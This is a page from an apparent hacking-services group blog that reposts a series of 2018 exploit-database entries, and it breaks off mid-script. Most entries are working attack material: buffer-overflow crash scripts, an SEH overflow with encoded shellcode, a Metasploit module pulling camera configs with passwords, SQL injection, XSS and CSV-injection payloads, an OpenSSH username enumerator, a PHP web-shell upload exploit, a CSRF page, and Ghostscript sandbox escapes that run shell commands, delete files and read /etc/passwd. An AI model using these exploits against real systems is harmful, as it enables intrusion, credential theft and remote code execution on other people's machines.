Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863576325

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Prime95 29.4b7 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-20
# Homepage: http://www.mersenne.org
# Software Link: http://www.mersenne.org/ftp_root/gimps/p95v294b7.win32.zip
# Tested Version: 29.4b7
# Tested on OS: Windows 7 32-bit

# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. 
# In the new window click "Test" > "PrimeNet" > "Connection..". 
# Now enter some test information into the fields until you reach the last field. 
# Paste the content of "exploit.txt" into the last field: "Optional proxy password". 
# Click "Ok" > "Ok" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: Project64 2.3.2  - Denial Of Service (PoC).
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-21
# Homepage: https://www.pj64-emu.com
# Software Link:https://www.pj64-emu.com/download/project64-latest
# Tested Version: 2.3.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Options" > "Settings" > "Directories". Now paste the content of 
# "exploit.txt" into the field:"Plugin Directory" and make sure it is selected. Click "Apply" > "Ok" and then reopen "Options" > "Settings" you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit title: Hikvision IP Camera 5.4.0 - User Enumeration (Metasploit)
# Author: Alfie
# Date: 2018-08-21
# Website: https://www.hikvision.com/en/
# Software: Hikvision Camera
# Versions: 
# DS-2CD2xx2F-I Series: V5.2.0 build 140721 to V5.4.0 build 160530
# DS-2CD2xx0F-I Series: V5.2.0 build 140721 to V5.4.0 Build 160401
# DS-2CD2xx2FWD Series: V5.3.1 build 150410 to V5.4.4 Build 161125
# DS-2CD4x2xFWD Series: V5.2.0 build 140721 to V5.4.0 Build 160414
# DS-2CD4xx5 Series: V5.2.0 build 140721 to V5.4.0 Build 160421
# DS-2DFx Series: V5.2.0 build 140805 to V5.4.5 Build 160928
# DS-2CD63xx Series: V5.0.9 build 140305 to V5.3.5 Build 160106

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Configuration download in Hikvision IP Cameras',
      'Description'    => %q{
          Many Hikvision IP cameras contain a backdoor that allows unauthenticated impersonation of any configured user account. The vulnerability has been present in Hikvision products since at least 2014. In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names. Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing. In addition to gaining full administrative access, the vulnerability can be used to retrieve plain-text passwords for all configured users.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 
        [
          'Monte Crypto', # Vulnerability discovery
          'Alfie Njeru' # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html' ],
        
          [ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Path to the path that config is stored ', '/System/configurationFile?auth=YWRtaW46MTEK'])
      ])
  end

  def run_host(ip)

    print_status("#{rhost}:#{rport} - Sending request...")
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri'          => uri,
      'method'       => 'GET',
    })

    if res and res.code == 200
      contents = res.body
      fname = File.basename(datastore['TARGETURI'])
      path = store_loot(
        'usersvision ',
        'text/plain',
        ip,
        contents,
        fname
      )
      print_status("#{rhost}:#{rport} - File saved in: #{path}")
    else
      print_error("#{rhost}:#{rport} - Failed to retrieve file")
      return
    end
  end
end
HireHackking 
# Exploit Title: Twitter-Clone 1 - 'userid' SQL Injection
# Date: 2018-08-21
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10

# POC : SQLi
# vulnerable files : follow.php , index.php
# vulnerable parameters : userid , username

# 1) follow.php :

# Parameters : userid , username
# Type : Union query
# Type : Time-based blind
# Payloads :

userid: ' UNION SELECT 1,2,user(),4,database(),6,7%23
username: ' AND sleep(10)%23

# vulnerable code :

if($_GET['userid']  && $_GET['username']){
if($_GET['userid']!=$user_id){
$follow_userid = $_GET['userid'];
$follow_username = $_GET['username'];
include 'connect.php';
$query = mysqli_query($con, "SELECT id
    FROM following
WHERE user1_id='$user_id' AND user2_id='$follow_userid'
");

# 2) index.php :

# vulnerable parameter : username
# Type : Union query
# Payload : 

' union select 1,2,user(),4,5,6

# vulnerable code :

if($_POST['login-btn']=="login-submit"){
if($_POST['username'] != "" && $_POST['password'] != ""){
$username = strtolower($_POST['username']);
include "connect.php";
$query = mysqli_query($con, "SELECT id, password
FROM users
 WHERE username='$username'");
HireHackking 
# Exploit Title: Wordpress Plugin Ninja Forms 3.3.13 - CSV Injection
# Exploit Author: Mostafa Gharzi
# Website: https://www.certcc.ir
# Date: 2018-08-19
# Google Dork: N/A
# Vendor: The WP Ninjas
# Software Link: https://wordpress.org/plugins/ninja-forms/
# Affected Version: 3.3.13 and before
# Active installations: 1+ million
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux

# 1. Technical Description:
# WordPress Ninja Forms plugin version 3.3.13 and before are affected by Remote Code Execution
# through the CSV injection vulnerability. This allows an application user
# to inject commands as part of the fields of forms and these commands are executed when a user with
# greater privilege exports the data in CSV and opens that file on his machine.

# 2. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the form,
# for example, in name field.
# When the user with high privileges logs in to the application, export
# data in CSV and opens the
# generated file, the command is executed and the calculator will run open
# on the machine.

# 3. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0
HireHackking 
# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473

###########################################################################
#                ____                    _____ _____ _    _               #
#               / __ \                  / ____/ ____| |  | |              #
#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
#                     | |               Username Enumeration              #
#                     |_|                                                 #
#                                                                         #
###########################################################################

#!/usr/bin/env python

import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# create custom exception
class BadUsername(Exception):
    def __init__(self):
	pass

# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
    pass

# create function to call when username was invalid
def call_error(*args, **kwargs):
    raise BadUsername()

# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
	sock = socket.socket()
	sock.connect((args.hostname, args.port))
	# instantiate transport
	transport = paramiko.transport.Transport(sock)
	try:
	    transport.start_client()
	except paramiko.ssh_exception.SSHException:
	    # server was likely flooded, retry up to 3 times
	    transport.close()
	    if tried < 4:
	    	tried += 1
	    	return checkUsername(username, tried)
	    else:
	    	print '[-] Failed to negotiate SSH transport'
	try:
		transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
	except BadUsername:
    		return (username, False)
	except paramiko.ssh_exception.AuthenticationException:
    		return (username, True)
	#Successful auth(?)
	raise Exception("There was an error. Is this the correct version of OpenSSH?")

def exportJSON(results):
	data = {"Valid":[], "Invalid":[]}
	for result in results:
		if result[1] and result[0] not in data['Valid']:
			data['Valid'].append(result[0])
		elif not result[1] and result[0] not in data['Invalid']:
			data['Invalid'].append(result[0])
	return json.dumps(data)

def exportCSV(results):
	final = "Username, Valid\n"
	for result in results:
		final += result[0]+", "+str(result[1])+"\n"
	return final

def exportList(results):
	final = ""
	for result in results:
		if result[1]:
			final+=result[0]+" is a valid user!\n"
		else:
			final+=result[0]+" is not a valid user!\n"
	return final

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
    sock.close()
except socket.error:
    print '[-] Connecting to host failed. Please check the specified host and port.'
    sys.exit(1)

if args.username: #single username passed in
	result = checkUsername(args.username)
	if result[1]:
		print result[0]+" is a valid user!"
	else:
		print result[0]+" is not a valid user!"
elif args.userList: #username list passed in
	try:
		f = open(args.userList)
	except IOError:
		print "[-] File doesn't exist or is unreadable."
		sys.exit(3)
	usernames = map(str.strip, f.readlines())
	f.close()
	# map usernames to their respective threads
	pool = multiprocessing.Pool(args.threads)
	results = pool.map(checkUsername, usernames)
	try:
		outputFile = open(args.outputFile, "w")
	except IOError:
		print "[-] Cannot write to outputFile."
		sys.exit(5)
	if args.outputFormat=='list':
		outputFile.writelines(exportList(results))
		print "[+] Results successfully written to " + args.outputFile + " in List form."
	elif args.outputFormat=='json':
		outputFile.writelines(exportJSON(results))
		print "[+] Results successfully written to " + args.outputFile + " in JSON form."
	elif args.outputFormat=='csv':
		outputFile.writelines(exportCSV(results))
		print "[+] Results successfully written to " + args.outputFile + " in CSV form."
	else:
		print "".join(results)
	outputFile.close()
else: # no usernames passed in
	print "[-] No usernames provided to check"
	sys.exit(4)
HireHackking 
# Exploit Title: Twitter-Clone 1 - Cross-Site Request Forgery (Delete Post)
# Date: 2018-08-21
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10

# Description :
# An issue was discovered in Twitter-Clone 1 which allows a remote
# attacker to force any victim to delete posts.

# POC :
# Delete posts exploit :

<html>
<head>
   <title>POC</title>
</head>
<body>
<form action='http://127.0.0.1/clone/twitter-clone/tweetdel.php?id="set
tweet id here of any post' method='post'>
  <input type='hidden' name='id' value='set tweet id here of any post' />
</form>
   <script>
      document.forms[0].submit();
   </script>
</body>
</html>
HireHackking 
# Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A 

<?php
// Author: Efren Diaz (elefr3n)
// https://twitter.com/elefr3n

echo "--------------------------------------------\n";
echo "KING MEDIA CMS ARBITRARY FILE UPLOAD EXPLOIT\n";
echo "--------------------------------------------\n";

if (!isset($argv[2]))
{
    echo "\nUsage: exploit.php <target> <file> <socks5>\n\n";
    echo "  -target: http://site.com/... (required)\n";
    echo "  -file: shell.php (required)\n";
    echo "  -socks5: 127.0.0.1:1337 (optional)\n\n";
} else {
    echo "\nUploading file...\n\n";

    $file = $argv[2];
    $target = $argv[1];

    $mimeType = image_type_to_mime_type(exif_imagetype($file));
    $cFile = curl_file_create($file, $mimeType, $file);

    $post = array(
        'ImageFile'=> $cFile
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($argv[3])) {
        curl_setopt($ch, CURLOPT_PROXY, isset($argv[3]));
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    $result=curl_exec($ch);

    preg_match_all('/src="(.*)" alt="Resized/i',$result,$uploaded_shell);

    if (isset($uploaded_shell[1][0])) {
        echo "PWNED ! :D \n\n{$uploaded_shell[1][0]}\n\n";
    } else {
        echo "Something was bad... str result:\n{$result}";
    }
    curl_close ($ch);
}
HireHackking 
# Exploit Title: ZyXEL VMG3312-B10B - Cross-Site Scripting
# Date: 2018-08-21
# Exploit Author: Samet ŞAHİN
# Vendor Homepage: https://www.zyxel.com/
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
# Version: ZyXEL VMG3312-B10B
# Tested on: Mozilla Firefox 61.0.2 & Google Chrome 67.0.3396.99
# Category: Stored XSS
# CVE : N/A

Malicious POST REQUEST :
POST /pages/connectionStatus/connectionStatus-hostEntry.cmd HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/index.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Cookie: SESSION=529313605
Connection: close
Upgrade-Insecure-Requests: 1
action=edit&oldip=192.168.1.36&hosttype=&sessionKey=1997367832&hostname=X<svg onload=alert()>

Vulnerable PAGE :
/pages/connectionStatus/connectionStatus-hostEntry.cmd

Vulnerable PARAMETER :
hostname

Cross Site Scripting PAYLOAD :
X<svg onload=alert()>

#Samet ŞAHİN
HireHackking 
# Exploit Title: Project64 2.3.2 - Local BufferOverflow (SEH)
# Date: 2018-08-21
# Author: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Software Link:https://www.pj64-emu.com/download/project64-latest
# Tested Version: 2.3.2
# Tested on OS: Windows XP Service Pack 3 x86 , Windows 7 ultimate x86

# Steps to Reproduce:
# 1. Run the python exploit script, it will create a new file with the name "exploit.txt".
# 2. Just copy the text inside "exploit.txt".
# 3. Start the program. In the new window click "Options" > "Settings" > "Directories".
# 4. Now paste the content of "exploit.txt" into the field:"Plugin Directory" and make sure it is selected. Click "Apply" > "Ok"
# You will see a sweet calculator poped up.
# Greetz: @hexachordanu @FuzzySec @LiveOverflow

junk = "A" * 380
nseh = "\xEB\x06\x90\x90"
#0x10096609 : pop ebx # pop eax # ret  | ascii {PAGE_EXECUTE_READWRITE} [Jabo_Direct3D8.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.7.0.57-ver5 (C:\Program Files\Project64 2.3\Plugin\GFX\Jabo_Direct3D8.dll)
seh = "\x09\x66\x09\x10" 
nops = "\x90" * 18
#badchar \x00\x0a\x0d\x2f
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (700 - len(nseh) -len(seh) - len(junk) -len(nops) - len(buf))

payload = junk + nseh +seh + nops + buf + pad

exploit = payload
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(exploit)
    f.write(exploit)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title : UltraISO 9.7.1.3519 - Denial Of Service (PoC)
# Exploit Author : Ali Alipour
# WebSite : Alipour.it
# Date: 2018-08-22
# Vendor Homepage : https://www.ultraiso.com
# Software Link Download : https://www.ultraiso.com/download.html
# Tested on : Windows 10 - 64-bit

# Steps to Reproduce
# Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the UltraISO program. 
# In the new window click "Tools" > "Mount To Virtual Drive" . 
# Now Paste the content of "exploit.txt" into the field: " Image File ". 
# Click "Mount" and you will see a crash.

#!/usr/bin/env python
buffer = "\x41" * 2048
	f = open ("exploit.txt", "w")
	f.write(buffer)
	f.close()
HireHackking 
# Exploit Title: Textpad 7.6.4 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-22
# Homepage: https://textpad.com
# Software Link: https://textpad.com/download/v76/win32/txpeng764-32.zip
# Tested Version: 7.6.4
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" > "Run...". Now paste the content of 
# "exploit.txt" into the fields:"Command". Click "OK" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: Geutebrueck re_porter 16 - Cross-Site Scripting
# Date: 2018-08-03
# Exploit Author: Kamil Suska
# Vendor: https://www.geutebrueck.com/en_US.html
# Link: https://www.sourcesecurity.com/geutebruck-re-porter-16-technical-details.html
# Version: prior 7.8.974.20
# CVE-2018-15533

# Attack Vectors
http://example.com:12005/modifychannel/exec?vv9r7<script>alert(1)</script>auubw=1

http://example.com:12005/images/IOMemoryPool.png?ebmf6<script>alert(1)</script>pmsih=1

http://example.com:12005/images/Statistics.png?q3dlx<script>alert(1)</script>zjvdw=1

http://example.com:12005/images/GLIBBackground.jpg?itfvf<script>alert(1)</script>irvnl=1

http://example.com:12005/images/MainMemoryPool.png?bzu69<script>alert(1)</script>m2hhj=1

http://example.com:12005/images/ProcessMemory.png?f4d7j<script>alert(1)</script>m5by3=
HireHackking 
# Exploit Title: Easyboot 6.6.0 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-22
# Homepage: http://www.ezbsystems.com/
# Software Link: http://www.ezbsystems.com/easyboot/download.htm
# Tested Version: 6.6.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "File" > "Tools" > "Replace Text...". Now paste the content of 
# "exploit.txt" into all three fields in the new window. Click "Replace" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
# Exploit Title: Geutebrueck re_porter 7.8.974.20 - Credential Disclosure
# Date: 2018-08-03
# Exploit Author: Kamil Suska
# Vendor: https://www.geutebrueck.com/en_US.html
# Link: https://www.sourcesecurity.com/geutebruck-re-porter-16-technical-details.html
# Version: prior 7.8.974.20
# CVE-2018-15534

# PoC

GET /statistics/gscsetup.xml HTTP/1.1
Host: example.com:12003

# Result (Redacted):

<Node Name="UserList" NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
      <Node Name="0000" NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        <Value Name="Name" ValueType="ntWideString" Value="Sysadmin"/>
        <Value Name="Password" ValueType="ntString"
Value="##MD5passwordhash##"/>
        <Value Name="UserRights" ValueType="ntInt32" Value="0x00000001"/>
        <Node Name="SecondUserList"
NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        </Node>
HireHackking 
SystemCollector
PoC for Privilege Escalation in Windows 10 Diagnostics Hub Standard Collector Service

Affected Products
Windows 10
Windows Server
Windows Server 2016
Visual Studio 2015 Update 3
Visual Studio 2017
Summary
The Diagnostics Hub Packaging library, used by Windows Standard Collector Service, can be forced to copy an arbitrary file to an arbitrary location due to lack of client impersonation in DiagnosticsHub.StandardCollector.Runtime.dll.

Here is a detailed write-up on how this vulnerability was found and exploited: Privilege Escalation Vulnerability in Windows Standard Collector Service.

Technical Details
The Standard Collector Service allows for a several values to be defined when configuring a diagnostics session, including the scratch directory and session ID. The session ID can be any GUID and the scratch directory can be any location the user has write permissions too. If the collection session is configured with an ID of c13851b2-b1e1-438f-bf73-949df897f1bf and a scratch path of C:\Users\Bob\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler\, the following events occur when calling the GetCurrentResult method of the ICollectionSession object:

An Event Trace Log (.etl) file is created in the scratch path: C:\Users\Bob\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler\c13851b2-b1e1-438f-bf73-949df897f1bf.1.m.etl
A Report folder is also created in the scratch path: C:\Users\Bob\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler\Report.c13851b2-b1e1-438f-bf73-949df897f1bf.1
A folder with a random GUID is created in the report folder: C:\Users\Bob\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler\Report.c13851b2-b1e1-438f-bf73-949df897f1bf.1\EAD6A227-31D4-4EA2-94A9-5DF276F69E65
These folders and ETL files are created by the collector service for the .diagsession package that is normally created when a session has ended. Calling the Stop method on the ICollectionSession object will cause the collector service to commit the diagnostics package by calling Microsoft::DiagnosticsHub::Packaging::DhPackageDirectory::CommitPackage. The CommitPackage function will copy or move the original {scratch path}\c13851b2-b1e1-438f-bf73-949df897f1bf.1.m.etl file to the random GUID folder: {scratch path}\Report.c13851b2-b1e1-438f-bf73-949df897f1bf.1\EAD6A227-31D4-4EA2-94A9-5DF276F69E65\c13851b2-b1e1-438f-bf73-949df897f1bf.1.m.etl

The copy/move operation triggered by the CommitPackagingResult function in DiagnosticsHub.StandardCollector.Runtime.dll, is performed without impersonating the user (unlike the initial file/folder creation), leading to a possible TOCTOU issue if the target folder is replaced with a mount point that redirects the copy to an arbitrary location. To exploit this issue in a useful way, an attacker would need to swap the contents of the ETL file before it is copied. This can be done by beating the race condition with an OpLock after the file handle has been released by the service.

Although we don't fully control the name of the .etl file that is copied, we can use the object directory symlink trick to control it. The mount point+symlink setup would look something like this:

Mount point: {scratch path}\Report.c13851b2-b1e1-438f-bf73-949df897f1bf.1\EAD6A227-31D4-4EA2-94A9-5DF276F69E65\ -> \RPC Control\
Symlink: \RPC Control\c13851b2-b1e1-438f-bf73-949df897f1bf.1.m.etl -> C:\Windows\System32\anything.dll
Having control of the file contents, copy location, and file name gives an attacker numerous DLL loading possibilities. However, the included PoC demonstrates how control of the filename is not needed since the collector service happily load a DLL with any filename, as long as it is in C:\Windows\System32 or C:\Windows\System32\DiagSvcs directory. This is done by starting a new collector session with an agent that has an assembly name matching the name of the copied DLL c13851b2-b1e1-438f-bf73-949df897f1bf.1.m.etl.

The included PoC is a VS solution with a C++ DLL project for the notepad.exe popping payload and a C# project to interact with the service and exploit the vulnerability with the NtApiDotNet library.

Steps to reproduce:

Build Visual Studio Solution
Execute SystemCollector.exe as a normal user
Expected Result:

The package commit operation impersonates the user and fails when trying to copy the file.

Observed Result:

The file is copied to the mount point target folder C:\Windows\System32, then loaded as a collector agent, and finally, notepad.exe is spawned as SYSTEM privileges.

Additional References
https://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0952
https://github.com/atredispartners/advisories/blob/master/ATREDIS-2018-0004.md


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45244.zip
HireHackking 
http://seclists.org/oss-sec/2018/q3/142

These are critical and trivial remote code execution bugs in things like ImageMagick, Evince, GIMP, and most other PDF/PS tools.

----

Hello, this was discussed on the distros list, but it was suggested to move discussion to oss-security.

You might recall I posted a bunch of -dSAFER sandbox escapes in ghostscript a few years ago:

http://seclists.org/oss-sec/2016/q4/29

I found a few file disclosure, shell command execution, memory corruption and type confusion bugs. There was also one that was found exploited in the wild. There was also a similar widely exploited issue that could be exploited identically.

TL;DR: I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default.

$ convert input.jpg output.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

I've found a few more surprising ways to reach ghostscript recently, so went back to look again and found a few more.

1. /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. Exploitation is very trivial. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null 
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

(ImageMagick PoC at end of mail)

2. setcolor claims no operand checking is necessary, because it's hidden behind a pseudo-operator of the same name. That's true, but you can still call it indirectly via setpattern, so type checking is necessary. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /Whatever 16#414141414141 >> setpattern
Segmentation fault

3. The LockDistillerParams boolean isn't type checked, so nice easy type confusion. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams
Segmentation fault


4. .tempfile permissions don't seem to work, I don't know when they broke. You're not supposed to be able to open files outside of the patterns in the  PermitFileReading array, but that doesn't seem to work for me e.g.:
$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>(/proc/self/cwd/hello) (w) .tempfile
open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
GS<2>dup
GS<3>(hello) writestring
GS<2>closefile

This means you can create a file in any directory (I don't think you can prevent the random suffix). Additionally, I have a trick to let you read and unlink any file you have permission to.

Here is how to unlink() any file:

$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>{ .bindnow } stopped {} if
GS>(/etc/passwd) [] .tempfile
GS<2>.quit
unlink("/etc/passwd")                   = -1 EACCES (Permission denied)
+++ exited with 0 +++

Reading is more complicated, because the best way I know how to do it is to interpret a file as as PostScript and catch the syntax errors, here is an example:

$ cat fileread.ps
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
    FileToSteal % save the undefined name
} put
errordict /undefined {
    (STOLEN: ) print
    counttomark {
        ==only
    } repeat
    (\n) print
    FileToSteal
} put
errordict /invalidfileaccess {
    pop
